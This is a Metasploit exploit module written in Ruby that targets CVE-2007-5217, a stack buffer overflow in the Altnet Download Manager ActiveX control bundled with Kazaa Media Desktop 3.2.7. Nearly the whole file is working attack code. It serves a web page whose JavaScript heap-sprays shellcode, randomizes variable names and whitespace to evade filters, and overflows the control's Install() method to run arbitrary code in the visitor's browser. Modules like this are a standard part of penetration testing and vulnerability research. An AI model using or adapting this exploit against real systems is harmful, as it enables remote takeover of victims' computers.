##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Kazaa Altnet Download Manager ActiveX Control Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the Altnet Download Manager ActiveX
        Control (amd4.dll) bundled with Kazaa Media Desktop 3.2.7.
        By sending an overly long string to the "Install()" method, an attacker may be
        able to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2007-5217' ],
          [ 'OSVDB', '37785' ],
          [ 'URL', 'http://secunia.com/advisories/26970/' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP2 / IE 6.0SP1 English', { 'Ret' => '\x0c\x0c\x0c\x0c' } ]
        ],
      'DisclosureDate' => 'Oct 3 2007',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Create some nops
    nops = Rex::Text.to_unescape(make_nops(4))

    # Randomize the javascript variable names
    vname  = rand_text_alpha(rand(100) + 1)
    var_i  = rand_text_alpha(rand(30)+2)
    rand1  = rand_text_alpha(rand(100) + 1)
    rand2  = rand_text_alpha(rand(100) + 1)
    rand3  = rand_text_alpha(rand(100) + 1)
    rand4  = rand_text_alpha(rand(100) + 1)
    rand5  = rand_text_alpha(rand(100) + 1)
    rand6  = rand_text_alpha(rand(100) + 1)
    rand7  = rand_text_alpha(rand(100) + 1)
    rand8  = rand_text_alpha(rand(100) + 1)
    randnop = rand_text_alpha(rand(100) + 1)

    # Build out the message
    content =
      "<html>\n" +
      "<object classid='clsid:DEF37997-D9C9-4A4B-BF3C-88F99EACEEC2' id='#{vname}'></object>\n" +
      "<script language='javascript'>\n" +
      "#{rand1} = unescape('#{shellcode}');\n" +
      "#{randnop} = '#{nops}';\n" +
      "#{rand2} = unescape(#{randnop});\n" +
      "#{rand3} = 20;\n" +
      "#{rand4} = #{rand3}+#{rand1}.length\n" +
      "while (#{rand2}.length<#{rand4}) #{rand2}+=#{rand2};\n" +
      "#{rand5} = #{rand2}.substring(0, #{rand4});\n" +
      "#{rand6} = #{rand2}.substring(0, #{rand2}.length-#{rand4});\n" +
      "while(#{rand6}.length+#{rand4}<0x30000) #{rand6} = #{rand6}+#{rand6}+#{rand5};\n" +
      "#{rand7} = new Array();\n" +
      "for (#{var_i}=0; #{var_i}<400; #{var_i}++) #{rand7}[#{var_i}] = #{rand6} + #{rand1};\n" +
      "#{rand8} = '#{target.ret}';\n" +
      "while (#{rand8}.length < 5000) #{rand8}+=#{rand8};\n" +
      "#{vname}.Install(#{vname} ,#{rand8} ,#{vname}, 1);\n" +
      "</script>\n" +
      "</html>"

    content = Rex::Text.randomize_space(content)

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end
